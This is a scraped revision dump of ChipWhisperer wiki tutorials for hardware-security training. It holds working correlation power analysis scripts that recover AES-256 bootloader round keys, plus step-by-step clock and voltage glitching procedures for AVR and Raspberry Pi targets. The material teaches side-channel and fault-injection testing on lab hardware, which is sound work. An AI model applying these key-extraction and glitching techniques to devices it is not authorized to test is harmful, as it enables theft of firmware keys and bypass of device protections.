crc |= self.MSB_Mask<br />
return crc & self.Mask<br />
<br />
<br />
def bit_by_bit(self, in_data):<br />
"""<br />
Classic simple and slow CRC implementation. This function iterates bit<br />
by bit over the augmented input message and returns the calculated CRC<br />
value at the end.<br />
"""<br />
# If the input data is a string, convert to bytes.<br />
if isinstance(in_data, str):<br />
in_data = [ord(c) for c in in_data]<br />
<br />
register = self.NonDirectInit<br />
for octet in in_data:<br />
for i in range(8):<br />
topbit = register & self.MSB_Mask<br />
register = ((register << 1) & self.Mask) | ((octet >> (7 - i)) & 0x01)<br />
if topbit:<br />
register ^= self.Poly<br />
<br />
for i in range(self.Width):<br />
topbit = register & self.MSB_Mask<br />
register = ((register << 1) & self.Mask)<br />
if topbit:<br />
register ^= self.Poly<br />
<br />
return register ^ self.XorOut<br />
<br />
<br />
class BootloaderTarget(TargetTemplate):<br />
_name = 'AES Bootloader'<br />
<br />
def __init__(self):<br />
TargetTemplate.__init__(self)<br />
<br />
ser_cons = pluginmanager.getPluginsInDictFromPackage("chipwhisperer.capture.targets.simpleserial_readers", True, False)<br />
self.ser = ser_cons[SimpleSerial_ChipWhispererLite._name]<br />
<br />
self.keylength = 16<br />
self.input = ""<br />
self.crc = Crc(width=16, poly=0x1021)<br />
self.setConnection(self.ser)<br />
<br />
def setKeyLen(self, klen):<br />
""" Set key length in BITS """<br />
self.keylength = klen / 8 <br />
<br />
def keyLen(self):<br />
""" Return key length in BYTES """<br />
return self.keylength<br />
<br />
def getConnection(self):<br />
return self.ser<br />
<br />
def setConnection(self, con):<br />
self.ser = con<br />
self.params.append(self.ser.getParams())<br />
self.ser.connectStatus.connect(self.connectStatus.emit)<br />
self.ser.selectionChanged()<br />
<br />
def con(self, scope=None):<br />
if not scope or not hasattr(scope, "qtadc"): Warning(<br />
"You need a scope with OpenADC connected to use this Target")<br />
<br />
self.ser.con(scope)<br />
# 'x' flushes everything & sets system back to idle<br />
self.ser.write("xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx")<br />
self.ser.flush()<br />
self.connectStatus.setValue(True)<br />
<br />
def close(self):<br />
if self.ser != None:<br />
self.ser.close()<br />
return<br />
<br />
def init(self):<br />
pass<br />
<br />
def setModeEncrypt(self):<br />
return<br />
<br />
def setModeDecrypt(self):<br />
return<br />
<br />
def convertVarToString(self, var):<br />
if isinstance(var, str):<br />
return var<br />
<br />
sep = ""<br />
s = sep.join(["%c" % b for b in var])<br />
return s<br />
<br />
def loadEncryptionKey(self, key):<br />
pass<br />
<br />
def loadInput(self, inputtext):<br />
self.input = inputtext<br />
<br />
def readOutput(self):<br />
# No actual output<br />
return [0] * 16<br />
<br />
def isDone(self):<br />
return True<br />
<br />
def checkEncryptionKey(self, kin):<br />
return kin<br />
<br />
def go(self):<br />
# Starting byte is 0x00<br />
message = [0x00]<br />
<br />
# Append 16 bytes of data<br />
message.extend(self.input)<br />
<br />
# Append 2 bytes of CRC for input only (not including 0x00)<br />
crcdata = self.crc.bit_by_bit(self.input)<br />
<br />
message.append(crcdata >> 8)<br />
message.append(crcdata & 0xff)<br />
<br />
# Write message<br />
message = self.convertVarToString(message)<br />
for i in range(0, 5):<br />
self.ser.flush()<br />
self.ser.write(message)<br />
time.sleep(0.1)<br />
data = self.ser.read(1)<br />
<br />
if len(data) > 0:<br />
resp = ord(data[0])<br />
<br />
if resp == 0xA4:<br />
# Encryption run OK<br />
break<br />
<br />
if resp != 0xA1:<br />
raise IOError("Bad Response %x" % resp)<br />
<br />
if len(data) > 0:<br />
if resp != 0xA4:<br />
raise IOError("Failed to communicate, last response: %x" % resp)<br />
else:<br />
raise IOError("Failed to communicate, no response")<br />
</pre><br />
<br />
== Appendix B: Capture Script ==<br />
<br />
Note you need to manually CONNECT to the CW-Lite & AES Bootloader target before running this. To do this:<br />
<br />
# Set the 'Scope Module' as 'ChipWhisperer/OpenADC'<br />
# Set the 'Target Module' as 'AES Bootloader' (you need to have that target on your system)<br />
<br />
<pre><br />
"""Setup script for CWLite/1200 with XMEGA (CW303/CW308-XMEGA/CWLite target)<br />
specifically for Tutorial A5: the AES-256 bootloader attack<br />
"""<br />
<br />
try:<br />
scope = self.scope<br />
except NameError:<br />
pass<br />
<br />
scope.gain.gain = 45<br />
scope.adc.samples = 11000<br />
scope.adc.offset = 0<br />
scope.adc.basic_mode = "rising_edge"<br />
scope.clock.clkgen_freq = 7370000<br />
scope.clock.adc_src = "clkgen_x4"<br />
scope.trigger.triggers = "tio4"<br />
scope.io.tio1 = "serial_rx"<br />
scope.io.tio2 = "serial_tx"<br />
scope.io.hs2 = "clkgen"<br />
</pre><br />
<br />
== Appendix C: AES-256 14th Round Key Script ==<br />
Full attack script, copy/paste into a file then run from within ChipWhisperer-Analyzer:<br />
<br />
<syntaxhighlight lang=python><br />
import chipwhisperer as cw<br />
from chipwhisperer.analyzer.attacks.cpa import CPA<br />
from chipwhisperer.analyzer.attacks.cpa_algorithms.progressive import CPAProgressive<br />
from chipwhisperer.analyzer.attacks.models.AES128_8bit import AES128_8bit, InvSBox_output<br />
<br />
#self.project = cw.openProject("2017-mar23-xmega-aes.cwp")<br />
traces = self.project.traceManager()<br />
<br />
attack = CPA()<br />
leak_model = AES128_8bit(InvSBox_output)<br />
attack.setAnalysisAlgorithm(CPAProgressive, leak_model)<br />
attack.setTraceSource(traces)<br />
attack.setTraceStart(0)<br />
attack.setTracesPerAttack(-1)<br />
attack.setIterations(1)<br />
attack.setReportingInterval(10)<br />
attack.setTargetSubkeys([0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15])<br />
attack.setPointRange((2900, 3400))<br />
<br />
self.results_table.setAnalysisSource(attack)<br />
self.correlation_plot.setAnalysisSource(attack)<br />
self.output_plot.setAnalysisSource(attack)<br />
self.pge_plot.setAnalysisSource(attack)<br />
attack.processTraces()<br />
</syntaxhighlight><br />
<br />
== Appendix D: AES-256 13th Round Key Script ==<br />
<br />
<syntaxhighlight lang=python><br />
import chipwhisperer as cw<br />
from chipwhisperer.analyzer.attacks.cpa import CPA<br />
from chipwhisperer.analyzer.attacks.cpa_algorithms.progressive import CPAProgressive<br />
from chipwhisperer.analyzer.attacks.models.AES128_8bit import AES128_8bit, AESLeakageHelper<br />
from chipwhisperer.analyzer.preprocessing.resync_sad import ResyncSAD<br />
<br />
class AES256_Round13_Model(AESLeakageHelper):<br />
def leakage(self, pt, ct, guess, bnum):<br />
#You must but YOUR recovered 14th round key here - this example may not be accurate!<br />
calc_round_key = [0xea, 0x79, 0x79, 0x20, 0xc8, 0x71, 0x44, 0x7d, 0x46, 0x62, 0x5f, 0x51, 0x85, 0xc1, 0x3b, 0xcb]<br />
xored = [calc_round_key[i] ^ pt[i] for i in range(0, 16)]<br />
block = xored<br />
block = self.inv_shiftrows(block)<br />
block = self.inv_subbytes(block)<br />
block = self.inv_mixcolumns(block)<br />
block = self.inv_shiftrows(block)<br />
result = block<br />
return self.inv_sbox((result[bnum] ^ guess[bnum]))<br />
<br />
traces = self.project.traceManager()<br />
<br />
resync_traces = ResyncSAD(traces)<br />
resync_traces.enabled = True<br />
resync_traces.ref_trace = 0<br />
resync_traces.ref_points = (9100, 9300)<br />
resync_traces.input_window = (8900, 9500)<br />
<br />
attack = CPA()<br />
leak_model = AES128_8bit(AES256_Round13_Model)<br />
attack.setAnalysisAlgorithm(CPAProgressive, leak_model)<br />
attack.setTraceSource(resync_traces)<br />
attack.setTraceStart(0)<br />
attack.setTracesPerAttack(-1)<br />
attack.setIterations(1)<br />
attack.setReportingInterval(10)<br />
attack.setTargetSubkeys([0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15])<br />
attack.setPointRange((0, -1))<br />
<br />
self.results_table.setAnalysisSource(attack)<br />
self.correlation_plot.setAnalysisSource(attack)<br />
self.output_plot.setAnalysisSource(attack)<br />
self.pge_plot.setAnalysisSource(attack)<br />
attack.processTraces()<br />
</syntaxhighlight><br />
<br />
== Links ==<br />
<br />
{{Template:Tutorials}}<br />
[[Category:Tutorials]]</div>Fheubachhttp://wiki.newae.com/index.php?title=Tutorial_A4_SAD_Trigger_for_SCA_and_Glitch&diff=3496Tutorial A4 SAD Trigger for SCA and Glitch2018-05-01T18:49:33Z<p>Fheubach: </p>
<hr />
<div>This advanced tutorial will demonstrate the use of analog Sum of Absolute Difference (SAD) triggering system. The SAD trigger can be used to trigger an event (e.g. capture or glitch) based on a pattern in the analog waveform. This pattern typically comes from the Device Under Test (DUT) performing an operation of interest such as cryptographic or authentication code.<br />
<br />
The SAD trigger is built into the [[CW1002_ChipWhisperer_Capture_Rev2]] only at this time, and is not present in the [[CW1173_ChipWhisperer-Lite]].<br />
<br />
== The SAD Criteria ==<br />
<br />
The Sum of Absolute Differences (SAD) measures the similarity between two blocks of data. This is done simply by first subtracting the two arrays in an element-wise fashion, then converting that into an absolute value, and finally summing up the absolute difference between each element. You can see other examples of the [http://en.wikipedia.org/wiki/Sum_of_absolute_differences SAD Algorithm on Wikipedia].<br />
<br />
In this system, a trigger is generated whenever the output of the SAD algorithm falls below some threshold. The FPGA calculates the SAD critera for every incoming sample, where the SAD is calculated over 128 samples. The following diagram shows the system design:<br />
<br />
[[File:sad_diagram.png|image]]<br />
<br />
Both the reference waveform and the input must have the same scaling. For example if you are using the SAD trigger module, you cannot adjust the analog gain on the input without recording a new reference waveform.<br />
<br />
== Using the SAD Trigger ==<br />
<br />
Currently the SAD Trigger is demonstrated in this video:<br />
<br />
[[File:youtube-sad.png|link=http://www.youtube.com/watch?v=qnKxOpGRo-Q&hd=1]]<br />
<br />
== Links ==<br />
<br />
{{Template:Tutorials}}</div>Fheubachhttp://wiki.newae.com/index.php?title=Tutorial_A3_VCC_Glitch_Attacks&diff=3495Tutorial A3 VCC Glitch Attacks2018-05-01T18:49:12Z<p>Fheubach: </p>
<hr />
<div>{{Warningbox|For the older V3.x tools, see [[V3:Tutorial A3 VCC Glitch Attacks]]}}<br />
<br />
This advanced tutorial will demonstrate power glitch attacks using the ChipWhisperer system.<br />
<br />
== Background on VCC (Power) Glitching ==<br />
<br />
The previous clock glitching tutorials looked into the assumption of a constant clock. But instead we can modify the voltage of the device, causing for example a failure to correctly read a memory location or otherwise cause havoc with the proper functioning.<br />
<br />
[[File:vccglitch_working.png|frame|none|alt=|caption Top trace is the VCC (power) measured at the microcontroller pin, lower trace is the clock to the device.]]<br />
<br />
[[File:vccglitch_working_zoom.png|frame|none|alt=|caption A zoom in of the previous figure, showing the offset between the clock and the glitches.]]<br />
<br />
[[File:vccglitch_notworking_zoom.png|frame|none|alt=|caption Changing the offset means the glitches are ineffective - this requries considerable experimentation to discover the value for offset, glitch width, and number of glitches.]]<br />
<br />
=== Background on Glitch Generation ===<br />
<br />
For more details, please see [[Tutorial_A2_Introduction_to_Glitch_Attacks_(including_Glitch_Explorer)]], this tutorials assumes you have already performed the clock glitching tutorial. This tutorial will use the ''Glitch Explorer'', which is described in the previous tutorial.<br />
<br />
The glitch generation hardware is the same as used in the clock glitching attack. The generated glitches are synchronous to the device clock, and inserted at a precise offset from the clock edge.<br />
<br />
Glitches can be inserted continuously or triggered by some event. The following figure shows the generation of two glitches:<br />
<br />
[[File:glitchgen-mux-glitchonly.png|frame|none]]<br />
<br />
The VCC glitching method here uses an electronic switch (a MOSFET) to short the power line to GND at specific instances. The following figure shows the basic function of this system:<br />
<br />
[[File:glitch-vccglitcher.png|frame|none]]<br />
<br />
This method allows use with the standard side-channel analysis development board, which has resistors inserted into the VCC lines already. The downside of this method is that it can only generate short glitches, since the power consumption through the shunt resistor will short out the resistor.<br />
<br />
The MOSFET glitching hardware is built into the ChipWhisperer-Lite (both CW1173 and CW1180) board. The ChipWhisperer-Capture Rev2 uses an external VCC glitching board.<br />
<br />
== Hardware Setup ==<br />
<br />
=== ChipWhisperer-Lite (CW1173) with built-in XMEGA Target ===<br />
<br />
The XMEGA target will work out-of-the-box for this tutorial. As usual, no hardware setup is required - everything on the CW-Lite board is ready to go.<br />
<br />
=== ChipWhisperer-Lite (CW1173/CW1180) with external AVR (NOTDUino/Multi-Target) ===<br />
<br />
The AVR is an extremely reliable target to glitch. To do this, you need to connect the following cables:<br />
<br />
# SMA Cable from the ''Glitch'' port to the VCC shunt.<br />
# 20-Pin Target Cable for Clock &amp; Data.<br />
# Optional: SMA Cable from the ''Measure'' port to the VCC shunt (can be used to monitor glitch insertion).<br />
<br />
The following shows an example of connecting the NOTDuino target to the ChipWhisperer-Lite:<br />
<br />
<blockquote>[[File:notduino_cwlite.jpg|image]]<br />
</blockquote><br />
If using a target with only a single SMA, only connect the ''Glitch'' port. The measure port is optional to allow you to monitor the VCC line as you are inserting the glitch.<br />
<br />
== Setting up Glitch Example ==<br />
<br />
=== Firmware Setup ===<br />
<br />
Just as in the clock glitching example, you will be required to program the AVR microcontroller with an example you can glitch. Once again program in the glitch example code to use the <code>glitch1()</code> function, as described in [[Tutorial_A2_Introduction_to_Glitch_Attacks_(including_Glitch_Explorer)]].<br />
<br />
If using the AVR target, be sure to modify the <code>makefile</code> to select the new target type (i.e. if you previously targeted the XMEGA, that hex-file will not work on the NOTDuino).<br />
<br />
Programming the device is also described in Step #4 in the following section.<br />
<br />
=== Software Setup ===<br />
<br />
<ol><br />
<li><br />
<p>Select the <code>connect_simpleserial.py</code> script</p><br />
<p>[[File:connect_script.png|500px]]</p><br />
</li><br />
<li><br />
<p>Run the <code>connect_simpleserial.py</code> script, by pressing the <b>Run</b> button</p><br />
<p>[[File:connect_script_preview.png|500px]]</p><br />
</li><br />
<li><br />
<p>Setup up the settings by running the appropriate setup script for your device</p><br />
<p>[[File:setup_script_xmega.png|500px]]</p><br />
</li><br />
<li><br />
<p>Run the setup script by pressing the run button, if you want to see what parameters the script changes, inspect the preview</p><br />
<p>[[File:setup_preview_xmega.png|500px]]</p><br />
</li><br />
<li><br />
<p>Open the appropriate programmer from top main menu ''Tools'', and in the dialog press ''Check Signature'' to verify you can connect to the target</p><br />
<p>[[File:xmega_programmer.png|325px]]</p><br />
</li><br />
<li><br />
<p>Find the correct firmware file, previously compiled for the target you are using, and press the ''Erase/Program/Verify FLASH''</p><br />
<p>[[File:xmega_programmer_press_program.png|325px]]</p><br />
</li><br />
<li><br />
<p>Time to setup the voltage glitching parameters. Start with the ''Glitch Module'' section under the ''Scope Settings'' tab</p><br />
<ol><br />
<li><br />
<p>Set the ''Clock Source'' as ''CLKGEN'':</p><br />
</li><br />
<li><br />
<p>Setup the Glitch Module to NOT output anything by default '''VERY IMPORTANT TO AVOID DAMAGE'''</p><br />
<p>Set the ''Output Mode'' as ''Glitch Only'', this is the step that insures '''you do not cause constant glitches''':</p><br />
</li><br />
<li><br />
<p>Set the ''Glitch Trigger'' to ''Ext Trigger:Single-Shot''</p><br />
</li><br />
</ol><br />
<p>[[File:glitch_setup.png|500px]]</p><br />
</li> <br />
<li><br />
<p>Now activate the lower power glitch module, by enabling the ''HS-Glitch Out Enable (Low Power)'' toggle under ''Trigger Pins'' section in the ''Scope Settings'' tab</p><br />
<p>For the ChipWhisperer-Lite (CW1173/CW1180), set ''Target HS IO-Out'' option to ''CLKGEN''.</p><br />
<p>[[File:low_power_glitch_enable.png|500px]]</p><br />
</li><br />
<li><br />
<p> Navigate to the ''Target Settings'' tab and remove all the text in the ''Load Key Command'', ''Go Command'', and ''Output Format'' fields</p><br />
<p> Set the ''Output Format'' field to ''$GLITCH$''</p><br />
<p>[[File:target_output_setting.png|500px]]</p><br />
</li><br />
<li><br />
<p> Run the aux reset script for the appropriate target. The avr, stm32f and xmega targets use the <code>aux_reset_cw1173.py</code>. '''This scripts needs to be modified for the specific target'''. Uncomment the line for your target and comment out the lines for the other targets. The timing of the reset can also be changed, the comments explain the pros and cons of each. The reset after arm usually works better and needs less setup, but this depends on the target.</p><br />
<syntaxhighlight lang=python><br />
"""Set up resets via CW1173<br />
Contains a few adjustable lines to switch between XMEGA/AVR/STM32F and change reset<br />
timing (relative to scope arm)<br />
"""<br />
<br />
from chipwhisperer.capture.auxiliary.ResetCW1173Read import ResetCW1173<br />
<br />
# GUI compatibility<br />
try:<br />
aux_list = self.aux_list<br />
except NameError:<br />
pass<br />
<br />
# Delay between arming and resetting, in ms<br />
delay_ms = 1000<br />
<br />
# Reset XMEGA device<br />
Resetter = ResetCW1173(pin='pdic', delay_ms=delay_ms)<br />
# Reset STM32Fx device<br />
#Resetter = ResetCW1173(pin='nrst', delay_ms=delay_ms)<br />
# Reset AVR<br />
#Resetter = ResetCW1173(pin='nrst', delay_ms=delay_ms)<br />
<br />
# Reset before arming<br />
# avoids possibility of false triggers<br />
# need delay in target firmware to avoid race condition<br />
#aux_list.register(Resetter.resetThenDelay, "before_trace")<br />
<br />
# Reset after arming<br />
# scope can catch entire reset<br />
# avoids race condition<br />
# target reset can cause false triggers (usually not an issue)<br />
aux_list.register(Resetter.delayThenReset, "after_arm")<br />
<br />
</syntaxhighlight><br />
</li><br />
<li><br />
<p>You can see what aux modules are active in the ''Aux Settings'' tab. Here you can see the preview, enable/disable, and remove each module</p><br />
<p>[[File:aux_setting.png|500px]]</p><br />
</li> <br />
</ol><br />
<br />
=== Monitoring Glitch Insertion ===<br />
<br />
We can optionally enable the power analysis capture, and monitor how the power consumption changes as we insert a glitch. To do this:<br />
<br />
<ol style="list-style-type: decimal;"><br />
<li>Switch to the ''Scope Settings'' tab.</li><br />
<li>Switch the ''ADC Clock Source'' as being ''CLKGEN x4''.</li><br />
<li>Press ''Reset ADC DCM'', confirm the frequency is 29.5 MHz as expected.</li><br />
<li>Switch the ''Trigger Setup'' --&gt; ''Mode'' to be ''Rising Edge''</li><br />
<li>Switch the ''Trigger Setup'' --&gt; ''Total Samples'' to be ''1000''</li><br />
<li>Switch the ''Gain Setting'' --&gt; ''Setting'' to be ''40''. You might need to adjust this for different hardware.</li><br />
<li><br />
<p>Press ''Capture 1'', confirm some waveform is displayed. For example with the NOTDuino Target on the ChipWhisperer-Lite, the waveform looks like this:</p><br />
<p>[[File:waveform-notduino-normal.png|image]]</p><br />
</li><br />
<li>If this does't work: check the trigger in use is the ''Target IO4'' pin.</li><br />
<li><br />
<p>Play around a bit with the glitch width, offset, and repeat. You should see different effects in the power consumption traces. For example the following shows a narrow (15% pulse width) glitch being inserted:</p><br />
<p>[[File:waveform-notduino-glitch1.png|image]]</p><br />
</li><br />
</ol><br />
<br />
=== Starting the Glitch Attack ===<br />
<br />
We'll now look at glitching this routine. As before after sending the <code>A</code> the system goes into an infinite loop, and sends <code>1234</code> after exiting from the loop. Using VCC glitching we'll escape from this loop!<br />
<br />
Rather than using the manual trigger, we'll jump right into using the Glitch Explorer to break this target. First, we'll setup some basic glitch parameters for your specific target.<br />
<br />
<ol><br />
<li>Switch to the ''Target Settings'' tab, and set the ''Output Format'' to <code>$GLITCH$</code>.</li><br />
<li><br />
<p>Open the ''Glitch Explorer'', and hit ''Capture 1'' a few times. Confirm this populates the table with various examples.</p><br />
<p>[[File:ge-normal.png|image]]</p><br />
</li><br />
<li><br />
<p>We need to setup the ''Normal Response'' and ''Successful Response''. Note in this example the normal response has a little random noise we want to ignore, but we want to capture when the device resets after the glitch and sends the &quot;hello&quot; message twice. We could accomplish this with the following bit of Python code:</p><br />
<pre>s.endswith(&quot;hello\nA&quot;) and (len(s) &lt; 12)</pre><br />
<p>This looks for both the ending without glitch, and the length of the string isn't too long. In the case of the successful glitch, we just want to see if &quot;1234&quot; is printed. This can be accomplished in Python with:</p><br />
<pre>&quot;1234&quot; in s</pre><br />
<p>You can always experiment using the ''Python Console'' to see how your potential systems work. For example here is checking that the first line works:</p><br />
<pre>&gt;&gt;&gt; s = &quot;\x1ahello\nA&quot;<br />
&gt;&gt;&gt; s.endswith(&quot;hello\nA&quot;) and (len(s) &lt; 12)<br />
True<br />
&gt;&gt;&gt; s = &quot;\x1ahello\nAhello\nA&quot;<br />
&gt;&gt;&gt; s.endswith(&quot;hello\nA&quot;) and (len(s) &lt; 12)<br />
False</pre><br />
<p>Finally, configure the Glitch Explorer:</p><br />
<br />
<blockquote><br />
<ol style="list-style-type: lower-alpha;"><br />
<li>Set the ''Normal Response'' to <code>s.endswith(&quot;hello\nA&quot;) and (len(s) &lt; 12)</code></li><br />
<li>Set the ''Successful Response'' to <code>&quot;1234&quot; in s</code></li><br />
</ol><br />
</blockquote><br />
<br />
<p>You can test the updated color-coding seems to be working too with a few ''Capture 1'' events.</p><br />
</li><br />
<br />
<li><br />
<p>Using the following table, set the ''Glitch Width (as % of period)'' and ''Repeat'' on the ''Scope Settings'' tab:</p><br />
{| class="wikitable"<br />
! Parameter<br />
! AVR on Multi-Target or NOTDuino<br />
|-<br />
| Glitch Width (as % of period)<br />
| 49<br />
|-<br />
| Repeat<br />
| 10<br />
|}<br />
</li><br />
<li><br />
<p>Finally, let's configure the Glitch Explorer to sweep the ''Offset'' and ''Width'' parameters by running the <code>ge_widthoffset_vary.py</code>. The starting, stopping and step attributes can be changed for both parameters by editing the script</p><br />
<syntaxhighlight lang=python><br />
"""Glitch Explorer example to modify clock offset & width.<br />
<br />
To use this be sure to set 'Output Format' as $GLITCH$ so data is passed through.<br />
"""<br />
<br />
class IterateGlitchWidthOffset(object):<br />
def __init__(self, ge_window):<br />
self._starting_offset = -40<br />
self._starting_width = -40<br />
self.ge_window = ge_window<br />
<br />
def reset_glitch_to_default(self, scope, target, project):<br />
""" Set glitch settings to defaults. """<br />
self.offset = self._starting_offset<br />
self.width = self._starting_width<br />
<br />
def change_glitch_parameters(self, scope, target, project):<br />
""" Example of simple glitch parameter modification function. """<br />
# This value is minimum clock offset/width increment<br />
scope.glitch.offset += 0.390624<br />
<br />
if scope.glitch.offset > 40:<br />
scope.glitch.offset = self._starting_offset<br />
scope.glitch.width += 0.390624<br />
<br />
if scope.glitch.width > 40:<br />
scope.glitch.width = self._starting_width<br />
<br />
# Write data to scope<br />
#scope.glitch.width = self.width<br />
#scope.glitch.offset = self.offset<br />
<br />
#You MUST tell the glitch explorer about the updated settings<br />
if self.ge_window:<br />
self.ge_window.add_data("Glitch Width", scope.glitch.width)<br />
self.ge_window.add_data("Glitch Offset",scope.glitch.offset)<br />
<br />
glitch_iterator = IterateGlitchWidthOffset(self.glitch_explorer)<br />
self.aux_list.register(glitch_iterator.change_glitch_parameters, "before_trace")<br />
#self.aux_list.register(glitch_iterator.reset_glitch_to_default, "before_capture")<br />
</syntaxhighlight><br />
</li><br />
<li><br />
<p> You can again check if the aux module was registered by going to the ''Aux Settings'' tab.</p><br />
<p>[[File:aux_settings_with_glitch_vary.png|500px]]</p><br />
</li><br />
<li><br />
<p>On the ''Generic Settings'' tab:</p><br />
<blockquote><br />
<ol style="list-style-type: lower-alpha;"><br />
<li>Ensure the ''Trace Format'' is set to ''None'' (i.e., no traces will be written to disk).</li><br />
<li>Set the ''Number of Traces'' to 200.</li></ol><br />
</blockquote><br />
</li><br />
<li>Press the ''Capture Multi'' button. You will get a warning as there is no trace writer, but can just hit ''Continue Anyway'', since we do not want to store traces to disk.</li><br />
<li><br />
<p>Hopefully you will determine some useful parameters for glitching this target:</p><br />
<blockquote><br />
<p>[[File:ge-success.png|image]]</p><br />
</blockquote><br />
</li><br />
<li>Try reducing the ''Repeat'' parameter in the ''Glitch Module'' settings. See how few cycles you can glitch while still achieving a reliable glitch.</li><br />
</ol><br />
<br />
Once you have the glitch parameter determined, you can work on trying to recreate some of the previous tutorials such as glitching passed the password prompt.<br />
<br />
== Glitching More Advanced Targets: Raspberry Pi ==<br />
<br />
It is also possible to glitch more advanced targets, such as the Raspberry Pi development board! This requires some additional hardware setup which will be discussed here.<br />
<br />
The Raspberry Pi is a small ARM-based computer that runs Linux. This tutorial will show you how to influence a program running in userland via voltage glitching.<br />
<br />
We will use the ChipWhisperer-Lite board, as it has integrated high-power glitching MOSFET.<br />
<br />
=== Hardware Setup ===<br />
<br />
<blockquote>'''warning'''<br />
<br />
This tutorial can cause permanent damage to your Raspberry Pi board. The generation of glitches means driving the power supply and device beyond limits specified in the absolute maximum ratings. Only perform this tutorial if you are not too attached to your Raspberry Pi board.<br />
<br />
YOU PERFORM THIS TUTORIAL AT YOUR OWN RISK. NEWAE TECHNOLOGY INC. IS NOT RESPONSIBLE FOR DAMAGE CAUSED BY FOLLOWING THIS TUTORIAL.<br />
</blockquote><br />
To glitch the board, you must solder a wire onto the ''VDD_CORE'' power supply, ideally as close to the BGA power pin as possible. To do this identify the power plane by looking at the schematic:<br />
<br />
<blockquote>[[File:rpi_schematic.png|image]]<br />
</blockquote><br />
And then solder a wire onto the VCC side of a decoupling capacitor, such as C65. Check the polarity with a DMM to ensure you have the positive side and solder a fine wire to it.<br />
<br />
<blockquote>[[File:rpi_solder1.jpg|400px|image]]<br />
<br />
[[File:rpi_solder2.jpg|400px|image]]<br />
</blockquote><br />
We will now mount a connector so we can connect this to the ChipWhisperer-Lite Glitch port. This will require you to check your specific revision - on this board an empty hole (test point) labeled &quot;TP2&quot; connects to ground, and made a handy location to connect the SMA connector to ground.<br />
<br />
The following shows an example of soldering the SMA connector onto the board, note the GND is soldered on both top and bottom to give additional strength:<br />
<br />
[[File:rpi_sma.jpg|400px|image]]<br />
<br />
The positive side of the capacitor connects to the inner conductor of the SMA &quot;GLITCH&quot; port, and connect the outer connector to ground on the Raspberry Pi. At this point do not yet plug into the GLITCH port, we will do that once setup is complete.<br />
<br />
Finally you need to boot the Raspberry Pi and connect to it. This is suggested to be done with a SSH shell over the Ethernet connection, as the Ethernet connection typically has very good protection against voltage transients. If you connect the Raspberry Pi to a monitor over HDMI, there is a chance the glitches may cause invalid voltage levels on the HDMI port which could damage your monitor.<br />
<br />
Once you have connected to it, simply make a file called <code>glitch.c</code> with the following contents:<br />
<br />
<pre>#include &lt;stdio.h&gt;<br />
<br />
int main(void){<br />
int i,j,k,cnt;<br />
k = 0;<br />
while(1){<br />
cnt = 0;<br />
for(i=0; i&lt;5000; i++){<br />
for(j=0; j&lt;5000; j++){<br />
cnt++;<br />
}<br />
}<br />
printf(&quot;%d %d %d %d\n&quot;, cnt, i, j,k++);<br />
}<br />
}</pre><br />
Compile to an executable with:<br />
<br />
<pre>$ gcc glitch.c -o glitch</pre><br />
And run the executable:<br />
<br />
<pre>$ ./glitch<br />
25000000 5000 5000 0<br />
25000000 5000 5000 1<br />
25000000 5000 5000 2<br />
25000000 5000 5000 3<br />
25000000 5000 5000 4<br />
25000000 5000 5000 5</pre><br />
The output is split into two parts. The first three are used to monitor the glitch insertion (this is the <code>25000000 5000 5000</code>, the second makes it easier for you to confirm if the Raspberry Pi has crashed.<br />
<br />
Now that you have a working system - let's break it!<br />
<br />
=== Glitch Parameters ===<br />
<br />
Glitching the Raspberry Pi is very simple. We just need to generate an appropriately sized glitch, as the following shows:<br />
<br />
<ol style="list-style-type: decimal;"><br />
<li>Start ChipWhisperer-Capture.</li><br />
<li>Set the ''Scope Module'' to ''ChipWhisperer/OpenADC'', and the ''connection'' to ''ChipWhisperer-Lite''.</li><br />
<li>Hit the ''Scope Connect'' button. There is no target for this example.</li><br />
<li>Set the CLKGEN frequency to ''120 MHz''.</li><br />
<li>Set the Glitch module Source to ''CLKGEN''.</li><br />
<li>Set the Glitch Mode to ''Enable Only''.</li><br />
<li>Ensure the ''Glitch Trigger'' is ''Manual''.</li><br />
<li>Set the ''Repeat'' to ''38''.</li><br />
<li>Click the ''HS-Glitch Out Enable (High Power)'' check-box.</li><br />
<li>Connect the SMA cable for the glitch output to the Raspberry Pi.</li><br />
<li><p>With the output of the ''glitch'' program running, hit the ''Manual Trigger'' button. This will cause a glitch to be inserted, and observe the output of your glitch program.</p><br />
<p>Most likely the glitch width was insufficient for a glitch to be inserted, so increase the ''Repeat'' count to increase the width, and try pressing the ''Manual Trigger'' button again. In this example a glitch was successfully inserted with a width of ''52'', so you might want to try a few larger numbers. If you do things wrong your Raspberry Pi will crash and you'll need to reboot it and continue experimenting.</p><br />
<p>The following shows an example of inserting several glitches successfully:</p><br />
<p>[[File:rpi-glitch.png|image]]</p></li></ol><br />
<br />
== Links ==<br />
<br />
{{Template:Tutorials}}<br />
[[Category:Tutorials]]</div>Fheubachhttp://wiki.newae.com/index.php?title=Tutorial_A2_Introduction_to_Glitch_Attacks_(including_Glitch_Explorer)&diff=3494Tutorial A2 Introduction to Glitch Attacks (including Glitch Explorer)2018-05-01T18:48:50Z<p>Fheubach: </p>
<hr />
<div>{{Warningbox|This tutorial has been updated for ChipWhisperer 4.0.0 release. If you are using 3.x.x see the "V3" link in the sidebar.}}<br />
<br />
{{Infobox tutorial<br />
|name = A2: Introduction to Glitch Attacks (including Glitch Explorer)<br />
|image = <br />
|caption = <br />
|software versions =<br />
|capture hardware = CW-Lite<br />
|Target Device = <br />
|Target Architecture = XMEGA<br />
|Hardware Crypto = No<br />
|Purchase Hardware = <br />
}}<br />
<br />
<br />
This advanced tutorial will demonstrate clock glitch attacks using the ChipWhisperer system. This will introduce you to many required features of the ChipWhisperer system when it comes to glitching. This will be built on in later tutorials to generate voltage glitching attacks, or when you wish to attack other targets.<br />
<br />
== Background on Clock Glitching ==<br />
<br />
Digital hardware devices almost always expect some form of reliable clock. We can manipulate the clock being presented to the device to cause unintended behaviour. We'll be concentrating on microcontrollers here, however other digital devices (e.g. hardware encryption accelerators) can also have faults injected using this technique.<br />
<br />
Consider a microcontroller first. The following figure is an excerpt the Atmel AVR ATMega328P datasheet:<br />
<br />
[[File:mcu-unglitched.png|image]]<br />
<br />
Rather than loading each instruction from FLASH and performing the entire execution, the system has a pipeline to speed up the execution process. This means that an instruction is being decoded while the next one is being retrieved, as the following diagram shows:<br />
<br />
[[File:clock-normal.png|image]]<br />
<br />
